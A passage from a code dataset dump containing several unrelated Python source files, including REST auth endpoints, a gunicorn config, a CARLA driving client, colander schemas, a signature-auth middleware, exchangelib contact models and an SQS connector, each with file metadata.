\"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# @@license_version:1.1@@\n\nfrom auth import get_current_user_id, get_current_session, get_browser_language\nfrom bizz.channel import send_update\nfrom bizz.i18n import set_user_language\nfrom bizz.old_channel import create_channel_token\nfrom mcfw.restapi import rest\nfrom mcfw.rpc import arguments, returns\nfrom plugin_loader import get_auth_plugin\nfrom to.authentication import IdentityTO, SetLanguageTO\n\n\n@rest('/identity', 'get')\n@returns(IdentityTO)\n@arguments()\ndef api_get_identity():\n session = get_current_session()\n auth_plugin = get_auth_plugin()\n modules = auth_plugin.get_visible_modules()\n language = auth_plugin.get_user_language() or get_browser_language()\n return IdentityTO(session.user_id, session.scopes, modules, language)\n\n\n@rest('/language', 'put')\n@returns(SetLanguageTO)\n@arguments(data=SetLanguageTO)\ndef api_set_language(data):\n return set_user_language(data)\n\n\n@rest('/channel/old', 'get', silent=True, silent_result=True)\n@returns(dict)\n@arguments()\ndef api_get_channel_token():\n return {\n 'token': create_channel_token()\n }\n\n\n@rest('/channel/firebase', 'get', silent=True, silent_result=True)\n@returns(dict)\n@arguments()\ndef api_get_firebase_token():\n return {\n 'username': get_current_user_id(),\n 'token': create_channel_token()\n }\n\n\n@rest('/channel/test/', 'get')\n@returns()\n@arguments(test=unicode)\ndef channel_test(test):\n send_update('channel.test', {'test': test})\n","sub_path":"framework/server/api/authenticated.py","file_name":"authenticated.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"340309858","text":"import multiprocessing\nimport os\nfrom click import echo, style\n\nif os.path.exists(\".env\"):\n echo(style(text=\"Importing environment variables\", fg=\"green\", bold=True))\n for line in open(\".env\"):\n var = line.strip().split(\"=\")\n if len(var) == 2:\n os.environ[var[0]] = var[1]\n\nbind = f\"0.0.0.0:{os.environ.get('PORT', 7070)}\"\nworkers = multiprocessing.cpu_count() * 2 + 1\naccesslog = \"-\" # STDOUT\naccess_log_format = '%(h)s %(l)s %(u)s %(t)s \"%(r)s\" %(s)s %(b)s \"%(f)s\" \"%(a)s\"'\nloglevel = \"debug\" if os.environ.get(\"FLASK_ENV\") == \"development\" else \"info\"\ncapture_output = True\nenable_stdio_inheritance = True\n","sub_path":"gunicorn_conf.py","file_name":"gunicorn_conf.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"318377217","text":"import collections\nimport logging\nimport threading\nimport time\n\n\nclass PykkaTestLogHandler(logging.Handler):\n def __init__(self, *args, **kwargs):\n self.lock = threading.RLock()\n with self.lock:\n self.events = collections.defaultdict(threading.Event)\n self.messages = {}\n self.reset()\n logging.Handler.__init__(self, *args, **kwargs)\n\n def emit(self, record):\n with self.lock:\n level = record.levelname.lower()\n self.messages[level].append(record)\n self.events[level].set()\n\n def reset(self):\n with self.lock:\n for level in (\"debug\", \"info\", \"warning\", \"error\", \"critical\"):\n self.events[level].clear()\n self.messages[level] = []\n\n def wait_for_message(self, level, num_messages=1, timeout=5):\n \"\"\"Wait until at least ``num_messages`` log messages have been emitted\n to the given log level.\"\"\"\n deadline = time.time() + timeout\n while time.time() < deadline:\n with self.lock:\n if len(self.messages[level]) >= num_messages:\n return\n self.events[level].clear()\n self.events[level].wait(1)\n raise Exception(f\"Timeout: Waited {timeout:d}s for log message\")\n","sub_path":"tests/log_handler.py","file_name":"log_handler.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"356515590","text":"import logging\n\nimport numpy as np\nfrom carla import image_converter\nfrom carla.client import VehicleControl\nfrom carla.client import make_carla_client\n\nfrom cadendrive.driver import AbstractDriverBase, StaticCruiseDriver\nfrom cadendrive.enum import CTL_AUTOPILOT, RecordMode, OriginType\nfrom cadendrive.gtav.handler import GtavAutoDriver\nfrom cadendrive.utils import hwc_rgb_to_hwc_bgr, TripStitch\n\nlogger = logging.getLogger(__name__)\n\n\nclass CarlaAutoDriver(AbstractDriverBase):\n def __init__(self):\n super(CarlaAutoDriver, self).__init__(CTL_AUTOPILOT)\n\n def next_recorder(self, mode):\n return RecordMode.DRIVING if mode == RecordMode.NONE else RecordMode.NONE\n\n def get_action(self, blob):\n blob.desired_speed = blob.velocity_y\n blob.steering = 0\n blob.throttle = 0\n blob.steering_driver = OriginType.CARLA_AUTOPILOT\n blob.speed_driver = OriginType.CARLA_AUTOPILOT\n if blob.extra is not None:\n _auto = blob.extra\n blob.steering = _auto.steer\n blob.throttle = -1. * _auto.brake if _auto.brake > 0 else _auto.throttle\n blob.save_event = True\n blob.publish = True\n\n\nclass CarlaClientHandler(object):\n def __init__(self, carla_settings, carla_host, carla_port):\n self._carla_host = carla_host\n self._carla_port = carla_port\n self._carla_settings = carla_settings\n self._is_on_reverse = False\n self._carla_client = None\n self._trip_stitch = TripStitch(left_homography=np.array([[2.22938557e-01, -6.06368890e-02, 3.16666845e+02],\n [-2.88657988e-01, 6.91657624e-01, 8.89683267e+01],\n [-9.46204320e-04, -4.88964242e-05, 1.00000000e+00]]),\n left_matches=60,\n right_homography=np.array([[2.96284445e-01, 5.59870490e-04, 2.89328115e+02],\n [-2.68830036e-01, 7.38580441e-01, 7.91286917e+01],\n [-8.84125478e-04, -2.42977087e-06, 1.00000000e+00]]),\n right_matches=58)\n\n # def _run(self):\n # try:\n # self._loop()\n # except TCPConnectionError:\n # logger.info(\"Carla server connection lost. Retrying ...\")\n # time.sleep(1)\n # self._run()\n # except KeyboardInterrupt:\n # return\n # except Exception as e:\n # logger.error(\"{} {}\".format(e, traceback.format_exc(e)))\n\n @staticmethod\n def create_autopilot_driver():\n return GtavAutoDriver()\n\n @staticmethod\n def create_cruise_driver():\n return StaticCruiseDriver()\n\n def fill(self, blob):\n measurements, sensor_data = self._carla_client.read_data()\n # The image standard within caden is hwc bgr.\n images = map(lambda img: None if img is None else hwc_rgb_to_hwc_bgr(image_converter.to_rgb_array(img)),\n (sensor_data.get('CameraFrontLeft', None),\n sensor_data.get('CameraFrontCenter', None),\n sensor_data.get('CameraFrontRight', None)))\n if all(img is not None for img in images):\n # Record - store a concatenation of the camera images\n # (record the facts - not an interpretation e.g. the stitched view).\n blob.image = np.hstack(images)\n blob.display_image = self._trip_stitch.stitch(images, recalculate=False)\n blob.x_coordinate = measurements.player_measurements.transform.location.x\n blob.y_coordinate = measurements.player_measurements.transform.location.y\n blob.heading = measurements.player_measurements.transform.rotation.yaw\n blob.velocity_y = measurements.player_measurements.forward_speed\n blob.extra = measurements.player_measurements.autopilot_control\n\n def publish(self, blob):\n # steer, throttle, brake, hand_brake, reverse\n control = VehicleControl()\n control.steer = blob.steering\n if blob.throttle > 0:\n control.throttle = blob.throttle\n else:\n control.brake = abs(blob.throttle)\n self._carla_client.send_control(control)\n\n def quit(self):\n if self._carla_client is not None:\n self._carla_client.close()\n\n def reset(self):\n if self._carla_client is not None:\n self._carla_settings.randomize_seeds()\n self._carla_settings.randomize_weather()\n scene = self._carla_client.load_settings(self._carla_settings)\n number_of_player_starts = len(scene.player_start_spots)\n player_start = np.random.randint(number_of_player_starts)\n logger.info('Starting new episode...')\n self._carla_client.start_episode(player_start)\n self._is_on_reverse = False\n\n def start(self):\n self._carla_client = make_carla_client(self._carla_host, self._carla_port)\n self.reset()\n","sub_path":"cadendrive/carla/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":5131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"80536203","text":"#!/usr/bin/env python\n\nimport ast\nfrom json import JSONDecoder, JSONDecodeError\nimport re\n\n\ndef option():\n return {\n 'name': '',\n 'since': 'x.x.x',\n 'params': [],\n }\n\n\ndef main2():\n ret = []\n with open('/home/sam/repos/qemu/qapi/ui.json', 'r') as f:\n rexp = re.compile(r\"^\\s?{.*?}$\", re.MULTILINE|re.DOTALL)\n d = rexp.findall(f.read())\n for l in d:\n l = l.replace('\\n', '').strip()\n l = re.sub(\" false \", \" False \", l)\n l = re.sub(\" true \", \" True \", l)\n l = re.sub(\" null \", \" None \", l)\n try:\n j = ast.literal_eval(l)\n if 'include' in j:\n continue\n ret.append(j)\n except ValueError:\n print(l)\n return ret\n\ndef main():\n ret = []\n with open('/home/sam/repos/qemu/qapi/block-core.json', 'r') as f:\n opts = option()\n for line in f:\n s = re.search(r'[Ss]ince.*(\\d+\\.\\d+.?\\d+?)', line)\n if s:\n since = s.group(1)\n\n\n if line.startswith('##'):\n if opts['name']:\n for opt in opts['params']:\n if 'since' in opt:\n continue\n opt['since'] = opts['since']\n ret.append(opts)\n opts = option()\n\n if line.lower().startswith('# since:'):\n since = '.'.join(re.findall('\\d+', line.split()[-1].lower()))\n opts['since'] = since\n continue\n\n if line.startswith(\"# @\"):\n if opts['name']:\n opts['params'].append({'name': re.split('@|:| ', line)[2]})\n if 'since' in line.lower():\n since = '.'.join(re.findall('(0|[1-9]\\d*){1,3}', t))\n opts['params'][-1]['since'] = since\n continue\n else:\n opts['name'] = re.split('@|:', line)[1]\n\n return ret\n\nif __name__ == '__main__':\n from pprint import pprint\n pprint(main2())\n","sub_path":"scripts/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"419895098","text":"from ast import literal_eval\n\nimport colander\n\nfrom validators import BytesLimit\n\n\nclass Hex(colander.Number):\n @staticmethod\n def num(x):\n return hex(x) if isinstance(x, int) else literal_eval(x)\n\n\nclass FieldSchema(colander.TupleSchema):\n \"\"\"\n Схема для полей вида ключ/значение\n \"\"\"\n key = colander.SchemaNode(colander.String(), validator=BytesLimit(8))\n value = colander.SchemaNode(colander.Int(), validator=BytesLimit(4))\n\n\nclass FieldsSchema(colander.SequenceSchema):\n field = FieldSchema()\n\n\nclass MessageSchema(colander.TupleSchema):\n \"\"\"\n Схема для входящего сообщения\n \"\"\"\n def validator(self, node, cstruct):\n \"\"\"\n Дополнительная валидация входящего сообщения\n \"\"\"\n if cstruct[4] != len(cstruct[5]):\n err = '\"numfields\" incorrect number of elements (expected {}, was {})'\n self.raise_invalid(err.format(cstruct[4], len(cstruct[5])))\n\n message_xor = (cstruct[1] >> 8 if cstruct[1] >> 8 else cstruct[1]) ^ cstruct[3]\n if message_xor != cstruct[6]:\n err = '\"message_xor\" not valid (expected {}, was {})'\n self.raise_invalid(err.format(cstruct[6], message_xor))\n\n header = colander.SchemaNode(Hex(), validator=colander.OneOf([0x01]))\n number = colander.SchemaNode(colander.Int(), validator=BytesLimit(2))\n id = colander.SchemaNode(colander.String(), validator=BytesLimit(8))\n state = colander.SchemaNode(Hex(), validator=colander.OneOf([0x01, 0x02, 0x03]))\n numfields = colander.SchemaNode(colander.Int(), validator=BytesLimit(1))\n fields = FieldsSchema()\n message_xor = colander.SchemaNode(colander.Int(), validator=BytesLimit(1))\n\n\nclass AnswerSchema(colander.TupleSchema):\n \"\"\"\n Схема ответа для успешно обработанного сообщения\n \"\"\"\n header = colander.SchemaNode(Hex(), validator=colander.OneOf([0x11, 0x12]))\n number = colander.SchemaNode(colander.Int(), validator=BytesLimit(2))\n message_xor = colander.SchemaNode(colander.Int(), validator=BytesLimit(1))\n\n\nclass WrongAnswerSchema(colander.TupleSchema):\n \"\"\"\n Схема ответа для не обработанного сообщения\n \"\"\"\n header = colander.SchemaNode(Hex(), validator=colander.OneOf([0x11, 0x12]))\n number = colander.SchemaNode(Hex(), validator=BytesLimit(2))\n message_xor = colander.SchemaNode(colander.Int(), validator=BytesLimit(1))\n","sub_path":"schemes.py","file_name":"schemes.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"236885940","text":"import logging\nfrom urllib.parse import parse_qsl\nfrom channels.auth import AuthMiddlewareStack\nfrom django.contrib.auth.models import AnonymousUser\nfrom django.db import close_old_connections\nfrom bdn.auth.models import User\nfrom bdn.auth.utils import recover_to_addr\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass SignatureAuthMiddleware:\n\n def __init__(self, inner):\n self.inner = inner\n\n def __call__(self, scope):\n querystring = scope['query_string'].decode()\n query_params = dict(parse_qsl(querystring))\n eth_address = query_params.get('auth_eth_address')\n auth_signature = query_params.get('auth_signature')\n user = AnonymousUser()\n\n if auth_signature and eth_address:\n try:\n recovered_eth_address = recover_to_addr(\n eth_address, auth_signature)\n if eth_address.lower() == recovered_eth_address[2:].lower():\n user, _ = User.objects.get_or_create(\n username=recovered_eth_address.lower())\n logger.info('Authenticating {}'.format(user.username))\n except ValueError:\n logger.warning('Could not authenticate {}'.format(eth_address))\n finally:\n close_old_connections()\n else:\n logger.warning('No auth parameters provided to WebSocket')\n\n scope['user'] = user\n return self.inner(scope)\n\n\ndef SignatureAuthMiddlewareStack(inner):\n return SignatureAuthMiddleware(AuthMiddlewareStack(inner))\n","sub_path":"bdn/auth/signature_auth_middleware.py","file_name":"signature_auth_middleware.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"426678925","text":"import datetime\nimport logging\n\nfrom .item import Item\nfrom ..fields import BooleanField, Base64Field, TextField, ChoiceField, URIField, DateTimeBackedDateField, \\\n PhoneNumberField, EmailAddressesField, PhysicalAddressField, Choice, MemberListField, CharField, TextListField, \\\n EmailAddressField, IdElementField, EWSElementField, DateTimeField, EWSElementListField, \\\n BodyContentAttributedValueField, StringAttributedValueField, PhoneNumberAttributedValueField, \\\n PersonaPhoneNumberField, EmailAddressAttributedValueField, PostalAddressAttributedValueField\nfrom ..properties import PersonaId, IdChangeKeyMixIn, Fields, CompleteName, Attribution, EmailAddress, Address, \\\n FolderId\nfrom ..util import TNS\nfrom ..version import EXCHANGE_2010, EXCHANGE_2010_SP2\n\nlog = logging.getLogger(__name__)\n\n\nclass Contact(Item):\n \"\"\"MSDN: https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/contact\"\"\"\n ELEMENT_NAME = 'Contact'\n LOCAL_FIELDS = Fields(\n TextField('file_as', field_uri='contacts:FileAs'),\n ChoiceField('file_as_mapping', field_uri='contacts:FileAsMapping', choices={\n Choice('None'), Choice('LastCommaFirst'), Choice('FirstSpaceLast'), Choice('Company'),\n Choice('LastCommaFirstCompany'), Choice('CompanyLastFirst'), Choice('LastFirst'),\n Choice('LastFirstCompany'), Choice('CompanyLastCommaFirst'), Choice('LastFirstSuffix'),\n Choice('LastSpaceFirstCompany'), Choice('CompanyLastSpaceFirst'), Choice('LastSpaceFirst'),\n Choice('DisplayName'), Choice('FirstName'), Choice('LastFirstMiddleSuffix'), Choice('LastName'),\n Choice('Empty'),\n }),\n TextField('display_name', field_uri='contacts:DisplayName', is_required=True),\n CharField('given_name', field_uri='contacts:GivenName'),\n TextField('initials', field_uri='contacts:Initials'),\n CharField('middle_name', field_uri='contacts:MiddleName'),\n TextField('nickname', field_uri='contacts:Nickname'),\n EWSElementField('complete_name', field_uri='contacts:CompleteName', value_cls=CompleteName, is_read_only=True),\n TextField('company_name', field_uri='contacts:CompanyName'),\n EmailAddressesField('email_addresses', field_uri='contacts:EmailAddress'),\n PhysicalAddressField('physical_addresses', field_uri='contacts:PhysicalAddress'),\n PhoneNumberField('phone_numbers', field_uri='contacts:PhoneNumber'),\n TextField('assistant_name', field_uri='contacts:AssistantName'),\n DateTimeBackedDateField('birthday', field_uri='contacts:Birthday', default_time=datetime.time(11, 59)),\n URIField('business_homepage', field_uri='contacts:BusinessHomePage'),\n TextListField('children', field_uri='contacts:Children'),\n TextListField('companies', field_uri='contacts:Companies', is_searchable=False),\n ChoiceField('contact_source', field_uri='contacts:ContactSource', choices={\n Choice('Store'), Choice('ActiveDirectory')\n }, is_read_only=True),\n TextField('department', field_uri='contacts:Department'),\n TextField('generation', field_uri='contacts:Generation'),\n CharField('im_addresses', field_uri='contacts:ImAddresses', is_read_only=True),\n TextField('job_title', field_uri='contacts:JobTitle'),\n TextField('manager', field_uri='contacts:Manager'),\n TextField('mileage', field_uri='contacts:Mileage'),\n TextField('office', field_uri='contacts:OfficeLocation'),\n ChoiceField('postal_address_index', field_uri='contacts:PostalAddressIndex', choices={\n Choice('Business'), Choice('Home'), Choice('Other'), Choice('None')\n }, default='None', is_required_after_save=True),\n TextField('profession', field_uri='contacts:Profession'),\n TextField('spouse_name', field_uri='contacts:SpouseName'),\n CharField('surname', field_uri='contacts:Surname'),\n DateTimeBackedDateField('wedding_anniversary', field_uri='contacts:WeddingAnniversary',\n default_time=datetime.time(11, 59)),\n BooleanField('has_picture', field_uri='contacts:HasPicture', supported_from=EXCHANGE_2010, is_read_only=True),\n TextField('phonetic_full_name', field_uri='contacts:PhoneticFullName', supported_from=EXCHANGE_2010_SP2,\n is_read_only=True),\n TextField('phonetic_first_name', field_uri='contacts:PhoneticFirstName', supported_from=EXCHANGE_2010_SP2,\n is_read_only=True),\n TextField('phonetic_last_name', field_uri='contacts:PhoneticLastName', supported_from=EXCHANGE_2010_SP2,\n is_read_only=True),\n EmailAddressField('email_alias', field_uri='contacts:Alias', is_read_only=True,\n supported_from=EXCHANGE_2010_SP2),\n # 'notes' is documented in MSDN but apparently unused. Writing to it raises ErrorInvalidPropertyRequest. OWA\n # put entries into the 'notes' form field into the 'body' field.\n CharField('notes', field_uri='contacts:Notes', supported_from=EXCHANGE_2010_SP2, is_read_only=True),\n # 'photo' is documented in MSDN but apparently unused. Writing to it raises ErrorInvalidPropertyRequest. OWA\n # adds photos as FileAttachments on the contact item (with 'is_contact_photo=True'), which automatically flips\n # the 'has_picture' field.\n Base64Field('photo', field_uri='contacts:Photo', supported_from=EXCHANGE_2010_SP2, is_read_only=True),\n Base64Field('user_smime_certificate', field_uri='contacts:UserSMIMECertificate',\n supported_from=EXCHANGE_2010_SP2, is_read_only=True),\n Base64Field('ms_exchange_certificate', field_uri='contacts:MSExchangeCertificate',\n supported_from=EXCHANGE_2010_SP2, is_read_only=True),\n TextField('directory_id', field_uri='contacts:DirectoryId', supported_from=EXCHANGE_2010_SP2,\n is_read_only=True),\n CharField('manager_mailbox', field_uri='contacts:ManagerMailbox', supported_from=EXCHANGE_2010_SP2,\n is_read_only=True),\n CharField('direct_reports', field_uri='contacts:DirectReports', supported_from=EXCHANGE_2010_SP2,\n is_read_only=True),\n )\n FIELDS = Item.FIELDS + LOCAL_FIELDS\n\n __slots__ = tuple(f.name for f in LOCAL_FIELDS)\n\n\nclass Persona(IdChangeKeyMixIn):\n \"\"\"MSDN: https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/persona\"\"\"\n ELEMENT_NAME = 'Persona'\n ID_ELEMENT_CLS = PersonaId\n LOCAL_FIELDS = Fields(\n IdElementField('_id', field_uri='persona:PersonaId', value_cls=ID_ELEMENT_CLS, namespace=TNS),\n CharField('persona_type', field_uri='persona:PersonaType'),\n TextField('persona_object_type', field_uri='persona:PersonaObjectStatus'),\n DateTimeField('creation_time', field_uri='persona:CreationTime'),\n BodyContentAttributedValueField('bodies', field_uri='persona:Bodies'),\n TextField('display_name_first_last_sort_key', field_uri='persona:DisplayNameFirstLastSortKey'),\n TextField('display_name_last_first_sort_key', field_uri='persona:DisplayNameLastFirstSortKey'),\n TextField('company_sort_key', field_uri='persona:CompanyNameSortKey'),\n TextField('home_sort_key', field_uri='persona:HomeCitySortKey'),\n TextField('work_city_sort_key', field_uri='persona:WorkCitySortKey'),\n CharField('display_name_first_last_header', field_uri='persona:DisplayNameFirstLastHeader'),\n CharField('display_name_last_first_header', field_uri='persona:DisplayNameLastFirstHeader'),\n TextField('file_as_header', field_uri='persona:FileAsHeader'),\n CharField('display_name', field_uri='persona:DisplayName'),\n CharField('display_name_first_last', field_uri='persona:DisplayNameFirstLast'),\n CharField('display_name_last_first', field_uri='persona:DisplayNameLastFirst'),\n CharField('file_as', field_uri='persona:FileAs'),\n TextField('file_as_id', field_uri='persona:FileAsId'),\n CharField('display_name_prefix', field_uri='persona:DisplayNamePrefix'),\n CharField('given_name', field_uri='persona:GivenName'),\n CharField('middle_name', field_uri='persona:MiddleName'),\n CharField('surname', field_uri='persona:Surname'),\n CharField('generation', field_uri='persona:Generation'),\n TextField('nickname', field_uri='persona:Nickname'),\n TextField('yomi_company_name', field_uri='persona:YomiCompanyName'),\n TextField('yomi_first_name', field_uri='persona:YomiFirstName'),\n TextField('yomi_last_name', field_uri='persona:YomiLastName'),\n CharField('title', field_uri='persona:Title'),\n TextField('department', field_uri='persona:Department'),\n CharField('company_name', field_uri='persona:CompanyName'),\n EWSElementField('email_address', field_uri='persona:EmailAddress', value_cls=EmailAddress),\n EWSElementListField('email_addresses', field_uri='persona:EmailAddresses', value_cls=Address),\n PersonaPhoneNumberField('PhoneNumber', field_uri='persona:PhoneNumber'),\n CharField('im_address', field_uri='persona:ImAddress'),\n CharField('home_city', field_uri='persona:HomeCity'),\n CharField('work_city', field_uri='persona:WorkCity'),\n CharField('relevance_score', field_uri='persona:RelevanceScore'),\n EWSElementListField('folder_ids', field_uri='persona:FolderIds', value_cls=FolderId),\n EWSElementListField('attributions', field_uri='persona:Attributions', value_cls=Attribution),\n StringAttributedValueField('display_names', field_uri='persona:DisplayNames'),\n StringAttributedValueField('file_ases', field_uri='persona:FileAses'),\n StringAttributedValueField('file_as_ids', field_uri='persona:FileAsIds'),\n StringAttributedValueField('display_name_prefixes', field_uri='persona:DisplayNamePrefixes'),\n StringAttributedValueField('given_names', field_uri='persona:GivenNames'),\n StringAttributedValueField('middle_names', field_uri='persona:MiddleNames'),\n StringAttributedValueField('surnames', field_uri='persona:Surnames'),\n StringAttributedValueField('generations', field_uri='persona:Generations'),\n StringAttributedValueField('nicknames', field_uri='persona:Nicknames'),\n StringAttributedValueField('initials', field_uri='persona:Initials'),\n StringAttributedValueField('yomi_company_names', field_uri='persona:YomiCompanyNames'),\n StringAttributedValueField('yomi_first_names', field_uri='persona:YomiFirstNames'),\n StringAttributedValueField('yomi_last_names', field_uri='persona:YomiLastNames'),\n PhoneNumberAttributedValueField('business_phone_numbers', field_uri='persona:BusinessPhoneNumbers'),\n PhoneNumberAttributedValueField('business_phone_numbers2', field_uri='persona:BusinessPhoneNumbers2'),\n PhoneNumberAttributedValueField('home_phones', field_uri='persona:HomePhones'),\n PhoneNumberAttributedValueField('home_phones2', field_uri='persona:HomePhones2'),\n PhoneNumberAttributedValueField('mobile_phones', field_uri='persona:MobilePhones'),\n PhoneNumberAttributedValueField('mobile_phones2', field_uri='persona:MobilePhones2'),\n PhoneNumberAttributedValueField('assistant_phone_numbers', field_uri='persona:AssistantPhoneNumbers'),\n PhoneNumberAttributedValueField('callback_phones', field_uri='persona:CallbackPhones'),\n PhoneNumberAttributedValueField('car_phones', field_uri='persona:CarPhones'),\n PhoneNumberAttributedValueField('home_faxes', field_uri='persona:HomeFaxes'),\n PhoneNumberAttributedValueField('orgnaization_main_phones', field_uri='persona:OrganizationMainPhones'),\n PhoneNumberAttributedValueField('other_faxes', field_uri='persona:OtherFaxes'),\n PhoneNumberAttributedValueField('other_telephones', field_uri='persona:OtherTelephones'),\n PhoneNumberAttributedValueField('other_phones2', field_uri='persona:OtherPhones2'),\n PhoneNumberAttributedValueField('pagers', field_uri='persona:Pagers'),\n PhoneNumberAttributedValueField('radio_phones', field_uri='persona:RadioPhones'),\n PhoneNumberAttributedValueField('telex_numbers', field_uri='persona:TelexNumbers'),\n PhoneNumberAttributedValueField('tty_tdd_phone_numbers', field_uri='persona:TTYTDDPhoneNumbers'),\n PhoneNumberAttributedValueField('work_faxes', field_uri='persona:WorkFaxes'),\n EmailAddressAttributedValueField('emails1', field_uri='persona:Emails1'),\n EmailAddressAttributedValueField('emails2', field_uri='persona:Emails2'),\n EmailAddressAttributedValueField('emails3', field_uri='persona:Emails3'),\n StringAttributedValueField('business_home_pages', field_uri='persona:BusinessHomePages'),\n StringAttributedValueField('personal_home_pages', field_uri='persona:PersonalHomePages'),\n StringAttributedValueField('office_locations', field_uri='persona:OfficeLocations'),\n StringAttributedValueField('im_addresses', field_uri='persona:ImAddresses'),\n StringAttributedValueField('im_addresses2', field_uri='persona:ImAddresses2'),\n StringAttributedValueField('im_addresses3', field_uri='persona:ImAddresses3'),\n PostalAddressAttributedValueField('business_addresses', field_uri='persona:BusinessAddresses'),\n PostalAddressAttributedValueField('home_addresses', field_uri='persona:HomeAddresses'),\n PostalAddressAttributedValueField('other_addresses', field_uri='persona:OtherAddresses'),\n StringAttributedValueField('titles', field_uri='persona:Titles'),\n StringAttributedValueField('departments', field_uri='persona:Departments'),\n StringAttributedValueField('company_names', field_uri='persona:CompanyNames'),\n StringAttributedValueField('managers', field_uri='persona:Managers'),\n StringAttributedValueField('assistant_names', field_uri='persona:AssistantNames'),\n StringAttributedValueField('professions', field_uri='persona:Professions'),\n StringAttributedValueField('spouse_names', field_uri='persona:SpouseNames'),\n StringAttributedValueField('children', field_uri='persona:Children'),\n StringAttributedValueField('schools', field_uri='persona:Schools'),\n StringAttributedValueField('hobbies', field_uri='persona:Hobbies'),\n StringAttributedValueField('wedding_anniversaries', field_uri='persona:WeddingAnniversaries'),\n StringAttributedValueField('birthdays', field_uri='persona:Birthdays'),\n StringAttributedValueField('locations', field_uri='persona:Locations'),\n # ExtendedPropertyAttributedValueField('extended_properties', field_uri='persona:ExtendedProperties'),\n )\n FIELDS = IdChangeKeyMixIn.FIELDS + LOCAL_FIELDS\n\n __slots__ = tuple(f.name for f in LOCAL_FIELDS)\n\n\nclass DistributionList(Item):\n \"\"\"MSDN: https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/distributionlist\"\"\"\n ELEMENT_NAME = 'DistributionList'\n LOCAL_FIELDS = Fields(\n CharField('display_name', field_uri='contacts:DisplayName', is_required=True),\n CharField('file_as', field_uri='contacts:FileAs', is_read_only=True),\n ChoiceField('contact_source', field_uri='contacts:ContactSource', choices={\n Choice('Store'), Choice('ActiveDirectory')\n }, is_read_only=True),\n MemberListField('members', field_uri='distributionlist:Members'),\n )\n FIELDS = Item.FIELDS + LOCAL_FIELDS\n\n __slots__ = tuple(f.name for f in LOCAL_FIELDS)\n","sub_path":"exchangelib/items/contact.py","file_name":"contact.py","file_ext":"py","file_size_in_byte":15667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"159490160","text":"from datetime import datetime\nimport json\n\nimport boto.sqs\nimport boto.sqs.message\n\nfrom .base import Connector\n\nimport logging\nlogger = logging.getLogger('sqjobs.sqs')\n\n\nclass SQS(Connector):\n \"\"\"\n Manages a single connection to SQS\n \"\"\"\n\n def __init__(self, access_key, secret_key, region='us-east-1', is_secure=True, port=443):\n \"\"\"\n Creates a new SQS object\n\n :param access_key: access key with access to SQS\n :param secret_key: secret key with access to SQS\n :param region: a valid region of AWS, like 'us-east-1'\n :param port: connection port, default to 443\n\n \"\"\"\n self.access_key = access_key\n self.secret_key = secret_key\n self.region = region\n self.is_secure = is_secure\n self.port = port\n\n self._cached_connection = None\n\n def __repr__(self):\n return 'SQS(\"{ak}\", \"{sk}\", region=\"{region}\", port=\"{port}\")'.format(\n ak=self.access_key,\n sk=\"%s******%s\" % (self.secret_key[0:6], self.secret_key[-4:]),\n region=self.region,\n port=self.port\n )\n\n @property\n def connection(self):\n \"\"\"\n Creates (and saves in a cache) a SQS connection\n \"\"\"\n if self._cached_connection is None:\n self._cached_connection = boto.sqs.connect_to_region(\n self.region,\n aws_access_key_id=self.access_key,\n aws_secret_access_key=self.secret_key,\n is_secure=self.is_secure,\n port=self.port\n )\n\n logger.debug('Created new SQS connection')\n\n return self._cached_connection\n\n def get_queue(self, name):\n \"\"\"\n Gets a queue given it name\n\n :param name: the name of the queue\n \"\"\"\n queue = self.connection.get_queue(name)\n return queue\n\n def get_queues(self):\n \"\"\"\n Gets all the available queues\n \"\"\"\n queues = self.connection.get_all_queues()\n return [q.name for q in queues]\n\n def get_dead_letter_queues(self):\n \"\"\"\n Gets all the available dead letter queues\n \"\"\"\n dead_letter_queues = set()\n for queue in self.connection.get_all_queues():\n # This returns the source queue of a dead letter queue.\n # So, if it returns something, it means that the current `queue` is\n # a dead letter queue\n dead_letter_queue = self.connection.get_dead_letter_source_queues(queue)\n if dead_letter_queue:\n dead_letter_queues.add(queue.name)\n\n return list(dead_letter_queues)\n\n def enqueue(self, queue_name, payload):\n \"\"\"\n Sends a new message to a queue\n\n :param queue_name: the name of the queue\n :param payload: the payload to send inside the message\n \"\"\"\n message = self._encode_message(payload)\n queue = self.get_queue(queue_name)\n\n if not queue:\n raise ValueError('The queue does not exist: %s' % queue_name)\n\n response = queue.write(message)\n logger.info('Sent new message to %s', queue_name)\n return response\n\n def dequeue(self, queue_name, wait_time=20):\n \"\"\"\n Receive new messages from a queue\n\n :param queue_name: the queue name\n :param wait_time: how much time to wait until a new message is\n retrieved (long polling). If set to zero, connection will return\n inmediately if no messages exist.\n \"\"\"\n messages = None\n queue = self.get_queue(queue_name)\n\n if not queue:\n raise ValueError('The queue does not exist: %s' % queue_name)\n\n while not messages:\n messages = queue.get_messages(\n wait_time_seconds=wait_time,\n attributes='All',\n )\n\n if not messages and wait_time == 0:\n return None # Non-blocking mode\n\n if not messages:\n logger.debug('No messages retrieved from %s', queue_name)\n\n logger.info('New message retrieved from %s', queue_name)\n payload = self._decode_message(messages[0])\n\n return payload\n\n def delete(self, queue_name, message_id):\n \"\"\"\n 